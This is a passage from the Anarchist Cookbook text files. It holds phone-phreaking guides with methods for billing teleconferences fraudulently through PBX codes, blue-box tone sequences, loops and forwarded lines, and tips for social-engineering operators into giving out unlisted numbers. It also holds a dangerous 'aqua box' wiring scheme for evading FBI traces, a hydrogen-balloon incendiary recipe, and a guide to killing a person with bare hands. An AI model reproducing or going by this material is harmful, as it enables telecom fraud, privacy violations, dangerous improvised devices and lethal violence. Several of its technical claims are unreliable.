  2275. The TSPS [(Traffic Service Position System) ass opposed to This 
  2276. Shitty Phone Service] Operator is probably the bitch (or bastard, 
  2277. for the female libertationists out there) that most of us are used 
  2278. to having to deal with. Here are his/her responsibilities:
  2279.  
  2280. 1) Obtaning billing information for calling card or third number 
  2281. calls
  2282.  
  2283. 2) Identifying called customer on person-to-person calls.
  2284.  
  2285. 3) Obtaining acceptance of charges on collect calls.
  2286.  
  2287. 4) Identifying calling numbers. This only happens when the calling 
  2288. # is not automatically recorded by CAMA (Centralized Automatic 
  2289. Message Accounting) & forwarded from the local office. This could 
  2290. be caused by equipment failures (ANIF- Automatic Number 
  2291. Identification Failure) or if the office is not equipped for CAMA 
  2292. (ONI- Operator Number Identification).
  2293.  
  2294. <I once has an equipment failure happen to me & the TSPS operator 
  2295. came on and said, "What # are you calling FROM?" Out of curiosity, 
  2296. I gave her the number to my CO, she thanked me & then I was 
  2297. connected to a conversation that appeared to be between a frameman 
  2298. & his wife. Then it started ringing the party I wanted to 
  2299. originally call & everyone phreaked out (excuse the pun). I 
  2300. immediately dropped this dual line conference!
  2301.  
  2302. You should not mess with the TSPS operator since she KNOWS which 
  2303. number that you are calling from. Your number will show up on a 
  2304. 10-digit LED read-out (ANI board). She also knows whether or not 
  2305. you are at a fortress phone & she can trace calls quite readily! 
  2306. Out of all of the operators, she is one of the MOST DANGEROUS.
  2307.  
  2308. INWARD operator:
  2309.  
  2310. This operator assists your local TSPS ("0") operatorin connecting 
  2311. calls. She will never question a call as long as the call is 
  2312. withing HER SERVICE AREA. She can only be reached via other 
  2313. operators or by a blue box. From a blue box, you would dial 
  2314. KP+NPA+121+ST for the INWARD operator that will help you connect 
  2315. any calls within that NPA only. (Blue Boxing will be discussed in 
  2316. a future file).
  2317.  
  2318. DIRECTORY ASSISTANCE Operator:
  2319.  
  2320. This is the operator that you are connected to when you dial: 411 
  2321. or NPA-555-1212. She does not readily know where you are calling 
  2322. from. She does not have access to unlisted numbers, but she DOES 
  2323. know if an unlisted # exists for a certain listing.
  2324.  
  2325. There is also a directory assistance operator for deaf people who 
  2326. use teletypewriters. If your modem can transfer BAUDOT [(45.5 
  2327. baud). One modem that I know of that will do this is the Apple Cat 
  2328. acoustic or the Atari 830 acoustic modem. Yea I know they are hard 
  2329. to find... but if you wanna do this.. look around!) then you can 
  2330. call him/her up and have an interesting conversation. The # is: 
  2331. 800-855-1155. They use the standard Telex abbreviations such as GA 
  2332. for go ahead. they tend to be nicer and will talk longer than your 
  2333. regular operators. Also, they are more vulnerable into being 
  2334. talked out of information through the process of "social 
  2335. engineering" as Chesire Catalyst would put it. 
  2336.  
  2337. <Unfortunately, they do not have access to much. I once 
  2338. bullshitted with one of these operators a while back and I found 
  2339. out that there are 2 such DA offices that handle TTY. One is in 
  2340. Philadelphia and the other is in California. They have approx. 7 
  2341. operators each. most of the TTY operators think that their job is 
  2342. boring (based on an official "BIOC poll"). They also feel that 
  2343. they are under-paid. They actually call up a regular DA # to 
  2344. process your request (sorry, no fancy computers!)
  2345.  
  2346. Other operators have access to their own DA by dialing 
  2347. KP+NPA+131+ST (MF).
  2348.  
  2349. CN/A operators:
  2350.  
  2351. CN/A Operators are operators that do exactly the opposite of what 
  2352. directory assistance operators are for. In my experience, these 
  2353. operators know more than the DA op's do & they are more 
  2354. susceptable to "social engeneering." It is possible to bullshit a 
  2355. CN/A operator for the NON-PUB DA # (ie, you give them the name & 
  2356. they give you the unlisted number. See the article on unlisted 
  2357. numbers in this cookbook for more info about them.). This is due 
  2358. to the fact that they assume that you are a fellow company 
  2359. employee. Unfortunately, the AT&T breakup has resulted in the 
  2360. break-up of a few NON-PUB DA #'s and policy changes in CN/A
  2361.  
  2362. INTERCEPT Operator:
  2363.  
  2364. The intercept operator is the one that you are connected to when 
  2365. there are notenough recordings available to tell you that the # 
  2366. has been disconnected or changed. She usually says, "What # you 
  2367. callin'?" with a foreign accent. This is the lowest operator 
  2368. lifeform. Even though they don't know where you are calling from, 
  2369. it is a waste or your time to try to verbally abuse them since 
  2370. they usually understand very little English anyway.
  2371.  
  2372. Incidentally, a few area DO have intelligent INTERCEPT Operators.
  2373.  
  2374. OTHER Operators:
  2375.  
  2376. And then there are the: MObile, Ship-to-Shore, Conference, Marine 
  2377. Verify, "Leave Word and Call Back," Rout & Rate 
  2378. (KP+800+141+1212+ST), & other special operators who have one 
  2379. purpose or another in the network.
  2380.  
  2381. Problems with an Operator> Ask to speak to their supervisor... or 
  2382. better yet the Group Chief (who is the highest ranking official in 
  2383. any office) who is the equivalent of the Madame ina whorehouse.
  2384.  
  2385. By the way, some CO's that willallow you to dial a 0 or 1 as the 
  2386. 4th digit, will also allow you to call special operators & other 
  2387. fun Tel. Co. #'s without a blue box. This is ver rare, though! For 
  2388. example,212-121-1111 will get you a NY Inward Operator.
  2389.  
  2390. Office Hierarchy
  2391. ~~~~~~~~~~~~~~~~
  2392.  
  2393. Every switching office in North America (the NPA system), is 
  2394. assigned an office name and class. There are five classes of 
  2395. offices numbered 1 through 5. Your CO is most likely a class 5 or 
  2396. end office. All long-distance (Toll) calls are switched by a toll 
  2397. office which can be a class 4, 3, 2, or 1 office. There is also a 
  2398. class 4X office callen an intermediate point. The 4X office is a 
  2399. digital one that can have an unattended exchange attached to it 
  2400. (known as a Remote Switching Unit (RSU)).
  2401.  
  2402. The following chart will list the Office #, name, & how many of 
  2403. those office exist (to the best of my knowledge) in North America:
  2404.  
  2405. Class                 Name           Abb          # Existing
  2406. -----        ----------------------- ---      -----------------
  2407. > 1          Regional Center          RC                   12
  2408. > 2          Sectional Center         SC                   67
  2409. > 3          Primary Center           PC                  230
  2410. > 4          Toll Center              TC                1,300
  2411. > 4P         Toll Point               TP                 n/a
  2412. > 4X         Intermediate Point       IP                 n/a
  2413. > 5          End Office               EO               19,000
  2414. > 6          RSU                     RSU                 n/a
  2415.  
  2416. When connecting a call from one party to another, the switching 
  2417. equipment usually tries to find the shortest route between the 
  2418. class 5 end office of the caller & the class 5 end officeof the 
  2419. called party. If no inter-office trunks exist between the two 
  2420. parties, it will then move upward to the next highest office for 
  2421. servicing calls (Class 4). If the Class 4 office cannot handle the 
  2422. call by sending it to another Class 4 or 5 office, it will then be 
  2423. sent to the next highest office in the hierarchy (3). The 
  2424. switching equipment first uses the high-usage interoffice trunk 
  2425. groups, if they are busy then it goes to the fina; trunk groups on 
  2426. the next highest level. If the call cannot be connected, you will 
  2427. probably get a re-order [120 IPM (interruptions per minute) busy 
  2428. signal] signal. At this time, the guys at Network Operations are 
  2429. probably shitting in their pants and trying to avoid the dreaded 
  2430. Network Dreadlock (as seen on TV!).
  2431.  
  2432. It is also interesting to note that 9 connections in tandem is 
  2433. called ring-around-the-rosy and it has never occured in telephone 
  2434. history. This would cause an endless loop connection [a neat way 
  2435. to really screw up the network].
  2436.  
  2437. The 10 regional centers in the US & the 2 in Canada are all 
  2438. interconnected. they form the foundation of the entire telephone 
  2439. network. Since there are only 12 of them, they are listed below:
  2440.  
  2441. Class 1 Regional Office Location   NPA
  2442. --------------------------------   ---
  2443. Dallas 4 ESS                       214
  2444. Wayne, PA                          215
  2445. Denver 4T                          303
  2446. Regina No. 2SP1-4W (Canada)        306
  2447. St. Louis 4T                       314
  2448. Rockdale, GA                       404
  2449. Pittsburgh 4E                      412
  2450. Montreal No. 1 4AETS (Canada)      504
  2451.  
  2452. That's it for now! More info to come Future update to the 
  2453. Cookbook! Have fun!                        -Jolly Roger-
  2454.  
  2455.  
  2456.  
  2457. Basic Alliance Teleconferencing                 Courtesy of the Jolly Roger
  2458.  
  2459. Introduction:
  2460. ------------
  2461. This phile will deal with accessing, understanding and using the Alliance
  2462. Teleconferencing Systems.... it has many sections and for best use should
  2463. be printed out...enjoy...
  2464.  
  2465. Alliance:
  2466. --------
  2467. Alliance Teleconferencing is an independant company which allows the general
  2468. public to access and use it's conferencing equipment.  Many rumors have
  2469. been floating apound that Alliance is a subsidary of AT&T.
  2470. Well, they are wrong.  As stated above, Alliance is an entirely independant
  2471. company.  They use sophisticated equipment to allow users to talk to many
  2472. people at once.
  2473.  
  2474. The Number:
  2475. ---------
  2476. Alliance is in the 700 exchange, thus it is not localized, well, not
  2477. in a way.  Alliance is only in certain states, and only
  2478. residents of these certain states can access by dialing direct.  This,
  2479. however, will be discussed in a later chapter.  The numbers for alliance are
  2480. as follows:
  2481.      0-700-456-1000 (chicago)
  2482.               -1001 (los angeles)
  2483.               -1002 (chicago)
  2484.               -1003 (houston)
  2485.               -2000 (?)
  2486.               -2001 (?)
  2487.               -2002 (?)
  2488.               -2003 (?)
  2489.               -3000 (?)
  2490.               -3001 (?)
  2491.               -3002 (?)
  2492.               -3003 (?)
  2493.  
  2494. The locations of the first 4 numbers are known and i have stated them.
  2495. However, the numbers in the 200x and 300x are not definately known.
  2496. Rumor has it that the pattern repeats itself but this has not been proven.
  2497.  
  2498. Dialing:
  2499. -------
  2500. As stated before, Alliance is only in certain stated and only these states
  2501. can access them via dialing direct.  However, dialing direct causes your
  2502. residence to be charged for the conference and conference bills are not low!!!
  2503. Therefore, many ways have been discovered to start a conference without
  2504. having it billed to ones house.  They are as follows:
  2505.      
  2506.      1) Dialing through a PBX
  2507.      2) Incorporating a Blue Box
  2508.      3) Billing to a loop
  2509.      4) Billing to a forwarded call
  2510.  
  2511. I am sure there are many more but these are the four i will deal with.
  2512.  
  2513. Dialing through a PBX:
  2514. ------- ------- - ---
  2515. Probably the easiest method of creating a free conference is through a PBX.
  2516. Simply call one in a state that has Alliance, input the PBX's code,
  2517. dial 9 for an outside line and then dial alliance.
  2518. An example of this would be:
  2519.  
  2520. PBX: 800-241-4911
  2521.  
  2522. When it answers it will give you a tone.  At this tone input your code.
  2523.  
  2524. Code: 1234
  2525.  
  2526. After this you will receive another tone, now dial 9 for an outside line. 
  2527. You will now hear a dial tone.  Simply dial Alliance from this point and
  2528. the conference will be billed to the PBX.
  2529.  
  2530. Using a Blue Box:
  2531. ----- - ---- ---
  2532. Another rather simple way of starting a conference is with a Blue Box.
  2533. The following procedure is how to box a conference:
  2534. Dial a number to box off of.  In this example we will use 609-609-6099
  2535. When the party answers hit 2600hz.  This will cause the fone company's
  2536. equipment to think that you have hung up.  You will hear a <beep><kerchunk>
  2537. You have now 'seized' a trunk.  After this, switch to multi-frequency
  2538. and dial:
  2539.  
  2540. KP-0-700-456-x00x-ST
  2541. KP=KP tone on Blue Box
  2542. x=variable between 1 and 3
  2543. ST=ST tone on Blue Box
  2544. The equipment now thinks that the operator has dialed Alliance from her
  2545. switchboard and the conference shall be billed there.  Since Blue Boxing
  2546. is such a large topic, this is as far as I will go into it's uses.
  2547.  
  2548. Billing to a loop:
  2549. ------- -- - ----
  2550. A third method of receiving a free conference is by billing out to a
  2551. loop.  A loop is 2 numbers that when two people call, they can talk
  2552. to each other.  You're saying woop-tee-do right? Wrong! Loops can be
  2553. <very> usefull to phreaks.  First, dial alliance direct.  After going
  2554. through the beginning procedure, which will be discussed later in this
  2555. tutorial, dial 0 and wait for an Alliance operator.  When she answers
  2556. tell her you would like to bill the conference to such and such a
  2557. number. (A loop where your phriend is on the other side) She will then
  2558. call that number to receive voice verification.
  2559. Of course your phriend will be waiting and will accept the charges.
  2560. Thus, the conference is billed to the loop.
  2561.  
  2562. Billing to call forwarding:
  2563. ------- -- ---- ----------
  2564. When you dial a number that is call forwarded, it is first answered by
  2565. the original location, then forwarded.  The original location will
  2566. hang up if 2600hz is received from only ond end of the line.
  2567. Therefore, if you were to wait after the forwarded residence answered,
  2568. you would receive the original location's dial tone.
  2569.     
  2570.      Example:
  2571. Dial 800-325-4067
  2572. The original residence would answer, then forward the call, a second 
  2573. type of ringing would be heard.  When this second residence answers
  2574. simply wait until they hang up.  After about twenty seconds you will
  2575. then receive the original residence's dial tone since it heard 2600hz
  2576. from one end of the line.  Simply dial Alliance from this point and the
  2577. conference will be billed to the original residence.
  2578. These are the four main ways to receive a free conference.  I am sure
  2579. many more exist, but these four are quite handy themselves.
  2580.  
  2581. Logon Procedure:
  2582. ----- ---------
  2583. Once Alliance answers you will hear a two-tone combination.  This is their
  2584. way of saying 'How many people do you want on the conference dude?'
  2585. Simply type in a 2-digit combination, depending on what bridge of Alliance
  2586. you are on, between 10 and 59.  After this either hit '*' to cancel the
  2587. conference size and inout another or hit '#' to continue.
  2588. You are now in Alliance Teleconferencing and are only seconds away from
  2589. having your own roaring conference going strong!!!
  2590.  
  2591. Dialing in Conferees:
  2592. ------- -- ---------
  2593. To dial your first conferee, dial 1+npa+pre+suff and await his/her answer.
  2594.  
  2595. npa=area code
  2596. pre=prefix
  2597. suff=suffix
  2598.  
  2599. If the number is busy, or if no one answers simply hit '*' and your call
  2600. will be aborted.  But, if they do answer, hit the '#' key.
  2601. This will add them to the conference.
  2602. Now commence dialing other conferees.
  2603.  
  2604. Joining Your Conference:
  2605. ------- ---- ----------
  2606. To join your conference from control mode simply hit the '#' key. 
  2607. Within a second or two you will be chatting with all your buddies.
  2608. To go back into control mode, simply hit the '#' key again.
  2609.  
  2610. Transferring Control:
  2611. ------------ -------
  2612. To transfer control to another conferee, go into control mode, hit the
  2613. # 6+1+npa+pre+suff of the conferee you wish to give control to. If after,
  2614. you wish to abort this transfer hit the '*' key.
  2615.  
  2616. <note>:Transfer of control is often not available.  When you
  2617. receive a message stating this, you simply cannot transfer control.
  2618.  
  2619. Muted Conferences:
  2620. ----- -----------
  2621. To request a muted conference simply hit the 9 key.  I am not exactly
  2622. sure what a muted conference is but it is probably a way to keep unwanted
  2623. eavesdroppers from listening in.
  2624.  
  2625. Dialing Alliance Operators:
  2626. ------- -------- ---------
  2627. Simply dial 0 as you would from any fone and wait for the operator to answer.
  2628.  
  2629. Ending Your Conference:
  2630. ------ ---- ----------
  2631. To end your conference all together, that is kick everyone including
  2632. yourself off, go into control mode and hit '*'...after a few seconds
  2633. simply hang up.  Your conference is over.
  2634.  
  2635. Are Alliance Operators Dangerous?
  2636. --- -------- --------- ---------
  2637. No.  Not in the least.  The worst they can do to you while you are having
  2638. a conference is drop all conferees including yourself.  This is in no 
  2639. way harmful, just a little aggravating.
  2640.  
  2641. Alliance and Tracing:
  2642. -------- --- -------
  2643. Alliance can trace, as all citizens of the United States can. 
  2644. But this has to all be pre-meditated and AT&T has to be called and it's
  2645. really a large hastle, therefore, it is almost never done.  Alliance simply
  2646. does not want it known that teenagers are phucking them over. 
  2647. The only sort of safety equipment Alliance has on-line is a simple pen
  2648. register.  This little device simply records all the numbers of the
  2649. conferees dialed.  No big deal.  All Alliance can do is call up that persons
  2650. number, threaten and question.  However, legally, they can do nothing because
  2651. all you did was answer your fone.
  2652.  
  2653. <note>:Almost all instructions are told to the person in command by Alliance
  2654. recordings.  A lot of this tutorial is just a listing of those
  2655. commands plus information gathered by either myself or the phellow
  2656. phreaks of the world!!!
  2657.  
  2658. (written by the Trooper)
  2659.  
  2660. Aqua Box Plans                                            by Jolly Roger
  2661.  
  2662. Every true phreaker lives in fear of the dreadded F.B.I. 'Lock In Trace.'
  2663. For a long time, it was impossible to escape from the Lock In Trace.
  2664. This box does offer an escape route with simple directions to it.
  2665. This box is quite a simple concept, and almost any phreaker with basic
  2666. electronics knowledge can construct and use it.
  2667.  
  2668. The Lock In Trace
  2669. ------------------
  2670. A lock in trace is a device used by the F.B.I. to lock into the phone
  2671. users location so that he can not hang up while a trace is in progress.
  2672. For those of you who are not familiar with the conecpt of 'locking in',
  2673. then here's a brief desciption. The F.B.I. can tap into a conversation,
  2674. sort of like a three-way call connection. Then, when they get there,
  2675. they can plug electricity into the phone line. All phone connections
  2676. are held open by a certain voltage of electricity.
  2677. That is why you sometimes get static and faint connections when you are
  2678. calling far away, because the electricity has trouble keeping the line
  2679. up. What the lock in trace does is cut into the line and generate that same
  2680. voltage straight into the lines. That way, when you try and hang up, voltage
  2681. is retained. Your phone will ring just like someone was calling you
  2682. even after you hang up. (If you have call waiting, you should understand
  2683. better about that, for call waiting intersepts the electricity and makes
  2684. a tone that means someone is going through your line. Then, it is a matter
  2685. of which voltage is higher. When you push down the receiver,then it see-saws
  2686. the electricity to the other side. When you have a person on each line
  2687. it is impossible to hang up unless one or both of them will hang up.
  2688. If you try to hang up, voltage is retained, and your phone will ring.
  2689. That should give you an understanding of how calling works. Also, when
  2690. electricity passes through a certain point on your phone, the electricity
  2691. causes a bell to ring, or on some newer phones an electronic ring to sound.)
  2692. So, in order to eliminate the trace, you somehow must lower the
  2693. voltage level on your phone line. You should know that every time
  2694. someone else picks up the phone line, then the voltage does decrease
  2695. a little. In the first steps of planning this out, Xerox suggested getting
  2696. about a hundred phones all hooked into the same line that could all
  2697. be taken off the hook at the same time. That would greatly decrease the
  2698. voltage level. That is also why most three-way connections that are using
  2699. the bell service three way calling (which is only $3 a month) become quite
  2700. faint after a while. By now, you should understand the basic idea. You
  2701. have to drain all of the power out of the line so the voltage can
  2702. not be kept up. Rather sudden draining of power could quickly short out
  2703. the F.B.I. voltage machine, because it was only built to sustain
  2704. the exact voltage nessecary to keep the voltage out. For now, imagine
  2705. this. One of the normal Radio Shack generators that you can go
  2706. pick up that one end of the cord that hooks into the central box has a 
  2707. phone jack on it and the other has an electrical plug. This way, you
  2708. can "flash" voltage through the line, but cannot drain it. So, some
  2709. modifications have to be done.
  2710.  
  2711. Materials
  2712. ----------
  2713. A BEOC (Basic Electrical Output Socket), like a small lamp-type
  2714. connection, where you just have a simple plug and wire that would plug
  2715. into a light bulb.
  2716. One of cords mentioned above, if you can't find one then construct your
  2717. own... Same voltage connection, but the restrainor must be built in (I.E.
  2718. The central box)
  2719. Two phone jacks (one for the modem, one for if you are being traced to
  2720. plug the aqua box into)
  2721. Some creativity and easy work.
  2722.  
  2723. *Notice: No phones have to be destroyed/modified to make this box, so
  2724. don't go out and buy a new phone for it!
  2725.  
  2726. Procedure
  2727. ---------
  2728. All right, this is a very simple procedure. If you have the BEOC, it could
  2729. drain into anything: a radio, or whatever. The purpose of having
  2730. that is you are going to suck the voltage out from the phone line into
  2731. the electrical appliance so there would be no voltage left to lock
  2732. you in with.
  2733. 1)Take the connection cord. Examine the plug at the end. It should have
  2734. only two prongs. If it has three, still, do not fear. Make sure the
  2735. electrical appliance is turned off unless you wanna become a crispy critter
  2736. while making this thing. Most plugs will have a hard plastic design on the
  2737. top of them to prevent you from getting in at the electrical wires inside.
  2738. Well, remove it. If you want to keep the plug (I don't see why...)
  2739. then just cut the top off. When you look inside, Lo and Behold,
  2740. you will see that at the base of the prongs there are a few wires
  2741. connecting in. Those wires conduct the power into the appliance.
  2742. So, you carefully unwrap those from the sides and pull them out until
  2743. they are about an inch ahead of the prongs. If you don't wanna keep the
  2744. jack, then just rip the prongs out. If you are, cover the prongs with
  2745. insultation tape so they will not connect with the wires when the power
  2746. is being drained from the line.
  2747. 2)Do the same thing with the prongs on the other plug, so you have the
  2748. wires evenly connected. Now, wrap the end of the wires around each other.
  2749. If you happen to have the other end of the voltage cord hooked into the
  2750. phone, stop reading now, you're too fucking stupid to continue. After
  2751. you've wrapped the wires around each other, then cover the whole thing with
  2752. the plugs with insulating tape. Then, if you built your own control box
  2753. or if you bought one, then cram all the wires into it and reclose it.
  2754. That box is your ticket out of this.
  2755. 3)Re-check everything to make sure it's all in place. This is a pretty
  2756. flimsy connection, but on later models when you get more experienced at
  2757. it then you can solder away at it and form the whole device into one
  2758. big box, with some kind of cheap mattel hand-held game inside to be
  2759. the power connector.  In order to use it, just keep this box handy.
  2760. Plug it into the jack if you want, but it will slightly lower the
  2761. voltage so it isn't connected. When you plug it in, if you see sparks,
  2762. unplug it and restart the whole thing. But if it just seems fine then leave it.
  2763.  
  2764. Use
  2765. ----
  2766. Now, so you have the whole thing plugged in and all... Do not use this
  2767. unless the situation is desperate! When the trace has gone on, don't
  2768. panic, unplug your phone, and turn on the appliance that it was hooked
  2769. to. It will need energy to turn itself on, and here's a great source...
  2770. The voltage to keep a phone line open is pretty small and a simple light
  2771. bulb should drain it all in and probably short the F.B.I. computer at
  2772. the same time.
  2773.  
  2774. Happy boxing and stay free!               ------------Jolly Roger
  2775.  
  2776.                               
  2777. Hindenberg Bomb                                       by the Jolly Roger
  2778.  
  2779. Needed:1 Balloon
  2780. 1 Bottle
  2781. 1 Liquid Plumr
  2782. 1 Piece Aluminum FoilL
  2783. 1 Length Fuse
  2784.  
  2785. Fill the bottle 3/4 full with Liquid Plumr and add a little piece of
  2786. aluminum foil to it. Put the balloon over the neck of the bottle until
  2787. the balloon is full of the resulting gas.  This is highly flammable
  2788. hydrogen.
  2789. Now tie the baloon.  Now light the fuse, and let it rise.
  2790. When the fuse contacts the balloon, watch out!!!
  2791.  
  2792. -------[=How to Kill Someone==]------------[=WITH YOUR BARE HANDS=]-----
  2793.             
  2794.             AN EXCERPT FROM THE ANARCHISTS COOKBOOK.....
  2795.                    Courtesy of the Jolly Roger
  2796.  
  2797. This file will explain the basics of hand-to-hand combat, and will tell
  2798. of the best places to strike and kill an enemy...
  2799. When engaged in hand-to-hand combat, your life is always at stake.
  2800. There is only one purpose in combat, and that is to kill your enemy.
  2801. Never face an enemy with the idea of knocking him out.
  2802. The chances are extremely good that he will kill YOU instead.
  2803. When a weapon is not available, one must resort to the full
  2804. use of his natural weapons. The natural weapons are:
  2805.  
  2806. 1. The knife edge of your hands.
  2807. 2. Fingers folded at the second joint or knuckle.
  2808. 3. The protruding knuckle of your second finger.
  2809. 4. The heel of your hand.
  2810. 5. Your boot
  2811. 6. Elbows
  2812. 7. Knees
  2813. 8. and Teeth.
  2814.  
  2815. Attacking is a primary factor. A fight was never 
  2816. won by defensive action. Attack with all of your strength.
  2817. At any point or any situation, some vulnerable point on your enemies
  2818. body will be open for attack. Do this while screaming as screaming has
  2819. two purposes.
  2820.  
  2821. 1. To frighten and confuse your enemy.
  2822. 2. To allow you to take a deep breath which, in turn, will put
  2823. more oxygen in your blood stream. Your balance and balance of your
  2824. enemy are two inportant factors; since, if you succeed in making
  2825. your enemy lose his balance, the chances are nine to
  2826. one that you can kill him in your next move. The best over-all
  2827. stance is where your feet are spread about shoulders width apart, 
  2828. with your right foot about a foot ahead of the left. Both arms
  2829. should be bent at the elbows parallel to each other. Stand on the
  2830. balls of your feet and bend your waist slightly. Kinda of like a
  2831. boxer's crouch. Employing a sudden movement or a scream or yell can
  2832. throw your enemy off-balance. There are many vulnerable points of
  2833. the body. We will cover them now:
  2834.  
  2835. Eyes:Use your fingers in a V-shape and attack in gouging motion.
  2836.  
  2837. Nose:(Extremely vulnerable) Strike with the knife edge of the hand
  2838. along the bridge, which will cause breakage, sharp pain, temporary
  2839. blindness, and if the blow is hard enough, death. Also, deliver a blow 
  2840. with the heel of your hand in an upward motion, this¢will shove the
  2841. bone up into the brain causing death.
  2842.  
  2843. Adam's Apple: This spot is usually pretty well protected, but if you
  2844. get the chance, strike hard with the knife edge of your hand. This
  2845. should sever the wind-pipe, and then it's all over in a matter of
  2846. minutes.
  2847.  
  2848. Temple: There is a large artery up here, and if you hit it hard
  2849. enough, it will cause death. If you manage to knock your enemy down,
  2850. kick him in the temple, and he'll never get up again.
  2851.  
  2852. Back of the Neck: A rabbit punch, or blow delivered to the base of
  2853. the neck can easily break it, but to be safe, it is better to
  2854. use the butt of a gun or some other heavy blunt object.
  2855. Upper lip: A large network of nerves are located. These nerves are
  2856. extrememly close to the skin. A sharp upward blow will cause extreme
  2857. pain, and unconciosness.
  2858.  
  2859. Ears: Coming up from behind an enemy and cupping the hands in a clapping
  2860. motion over the victims ears can kill him immediately. The vibrations
  2861. caused from the clapping motion will burst his eardrums, and cause 
  2862. internal bleeding in the brain.
  2863.  
  2864. Groin: A VERY vulnerable spot. If left open, get it with knee
  2865. hard, and he'll buckle over very fast.
  2866.  
  2867. Kidneys: A large nerve that branches off to the spinal cord comes very
  2868. close to the skin at the kidneys. A direct blow with the knife edge
  2869. of your hand can cause death.
  2870.  
  2871. There are many more ways to kill and injure an enemy, but these should
  2872. work best for the average person. This is meant only as information
  2873. and I would not recommend that you use this for a simple High School Brawl.
  2874. Use these methods only, in your opinion, if your life is in danger.
  2875. Any one of these methods could very easily kill or cause permanent damage
  2876. to someone. One more word of caution, you should practice these moves
  2877. before using them on a dummy, or a mock battle with a friend.
  2878. (You don't have to actually hit him to practice, just work on accuracy.)
  2879.  
  2880. Phone Systems Tutorial III                      by The Jolly Roger
  2881.  
  2882. PREFACE:
  2883.  
  2884. THIS ARTICLE WILL FOCUS PRIMARILY ON THE STANDARD WESTERN ELECTRIC SINGLE-
  2885. SLOT COIN TELEPHONE (AKA FORTRESS FONE) WHICH CAN BE DIVIDED INTO 3 TYPES:
  2886. - DIAL-TONE FIRST (DTF)
  2887. - COIN-FIRST (CF):  (IE, IT WANTS YOUR $ BEFORE YOU RECEIVE A DIAL TONE)
  2888. - DIAL POST-PAY SERVICE (PP):  YOU PAYAFTER THE PARTY ANSWERS
  2889.  
  2890. DEPOSITING COINS (SLUGS):
  2891. -------------------------
  2892. ONCE YOU HAVE DEPOSITED YOUR SLUG INTO A FORTRESS, IT IS SUBJECTED TO A
  2893. GAMUT OF TESTS. THE FIRST OBSTACAL FOR A SLUG IS THE
  2894. MAGNETIC TRAP.  THIS WILL STOP ANY LIGHT-WEIGHT MAGNETIC SLUGS AND COINS.
  2895. IF IT PASSES THIS, THE SLUG IS THEN CLASSIFIED AS A NICKEL, DIME, OR
  2896. QUARTER.  EACH SLUG IS THEN CHECKED FOR APPROPRIATE SIZE AND WEIGHT.  IF THESE
  2897. TESTS ARE PASSED, IT WILL THEN TRAVEL THROUGH A NICKEL, DIME, OR QUARTER
  2898. MAGNET AS APPROPRIATE.  THESE MAGNETS SET UP AN EDDY CURRENT EFFECT WHICH
  2899. CAUSES COINS OF THE APPROPRIATE CHARACTERISTICS TO SLOW DOWN SO THEY
  2900. WILL FOLLOW THE CORRECT TRAJECTORY.  IF ALL GOES WELL, THE COIN WILL FOLLOW THE
  2901. CORRECT PATH (SUCH AS BOUNCING OFF OF THE NICKEL ANVIL) WHERE IT WILL
  2902. HOPEFULLY FALL INTO THE NARROW ACCEPTED COIN CHANNEL.
  2903. THE RATHER ELABORATE TESTS THAT ARE PERFORMED AS THE COIN TRAVELS DOWN THE
  2904. COIN CHUTE WILL STOP MOST SLUGS AND OTHER UNDESIRABLE COINS, SUCH AS
  2905. PENNIES, WHICH MUST THEN BE RETRIEVED USING THE COIN RELEASE LEVER.
  2906. IF THE SLUG MIRACULOUSLY SURVIVES THE GAMUT, IT WILL THEN STRIKE THE
  2907. APPROPRIATE TOTALIZER ARM CAUSING A RATCHET WHEEL TO ROTATE ONCE FOR EVERY
  2908. 5-CENT INCREMENT (EG, A QUARTER WILL CAUSE IT TO ROTATE 5 TIMES).
  2909. THE TOTALIZER THEN CAUSES THE COIN SIGNAL OSCILLATOR TO READOUT A DUAL-
  2910. FREQUENCY SIGNAL INDICATING THE VALUE DEPOSITED TO ACTS (A COMPUTER) OR THE
  2911. TSPS OPERATOR. THESE ARE THE SAME TONES USED BY PHREAKS IN THE INFAMOUS RED
  2912. BOXES. FOR A QUARTER, 5 BEEP TONES ARE
  2913. OUTPULSED AT 12-17 PULSES PER SECOND (PPS).  A DIME CAUSES 2 BEEP TONES AT
  2914. 5 - 8.5 PPS WHILE A NICKEL CAUSES ONE BEEP TONE AT 5 - 8.5 PPS.  A BEEP
  2915. CONSISTS OF 2 TONES:  2200 + 1700 HZ. A RELAY IN THE FORTRESS CALLED THE "B
  2916. RELAY" (YES, THERE IS ALSO AN 'A RELAY') PLACES A CAPACITOR ACROSS THE
  2917. SPEECH CIRCUIT DURING TOTALIZER READOUT TO PREVENT THE "CUSTOMER" FROM
  2918. HEARING THE RED BOX TONES. IN OLDER 3 SLOT PHONES:  ONE BELL
  2919. (1050-1100 HZ) FOR A NICKEL, TWO BELLS FOR A DIME, AND ONE GONG (800 HZ) FOR A
  2920. QUARTER ARE USED INSTEAD OF THE MODERN DUAL-FREQUENCY TONES.
  2921.  
  2922. =============
  2923. =TSPS & ACTS=
  2924. =============
  2925.  
  2926. WHILE FORTRESSES ARE CONNECTED TO THE CO OF THE AREA, ALL TRANSACTIONS ARE
  2927. HANDLED VIA THE TRAFFIC SERVICE POSITION SYSTEM (TSPS).  IN AREAS THAT
  2928. DO NOT HAVE ACTS, ALL CALLS THAT REQUIRE OPERATOR ASSISTANCE, SUCH AS
  2929. CALLING CARD AND COLLECT, ARE AUTOMATICALLY ROUTED TO A TSPS OPERATOR
  2930. POSITION. IN AN EFFORT TO AUTOMATE FORTRESS
  2931. SERVICE, A COMPUTER SYSTEM KNOWN AS AUTOMATED COIN TOLL SERVICE (ACTS) HAS
  2932. BEEN IMPLEMENTED IN MANY AREAS.  ACTS LISTENS TO THE RED BOX SIGNALS FROM THE
  2933. FONES AND TAKES APPROPRIATE ACTION.  IT IS ACTS WHICH SAYS, "TWO DOLLARS PLEASE
  2934. (PAUSE) PLEASE DEPOSIT TWO DOLLARS FOR THE NEXT TEN SECONDS" (AND OTHER
  2935. VARIATIONS). ALSO, IF YOU TALK FOR MORE THAN THREE MINUTES AND THEN HANG-UP,
  2936. ACTS WILL CALL BACK AND DEMAND YOUR MONEY.  ACTS IS ALSO RESPONSIBLE FOR
  2937. AUTOMATED CALLING CARD SERVICE. ACTS ALSO PROVIDE TROUBLE DIAGNOSIS FOR
  2938. CRAFTSPEOPLE (REPAIRMEN SPECIALIZING IN FORTRESSES).  FOR EXAMPLE, THERE IS A
  2939. COIN TEST WHICH IS GREAT FOR TUNING UP RED BOXES.  IN MANY AREAS THIS TEST CAN
  2940. BE ACTIVATED BY DIALING 09591230 AT A FORTRESS (THANKS TO KARL MARX FOR THIS
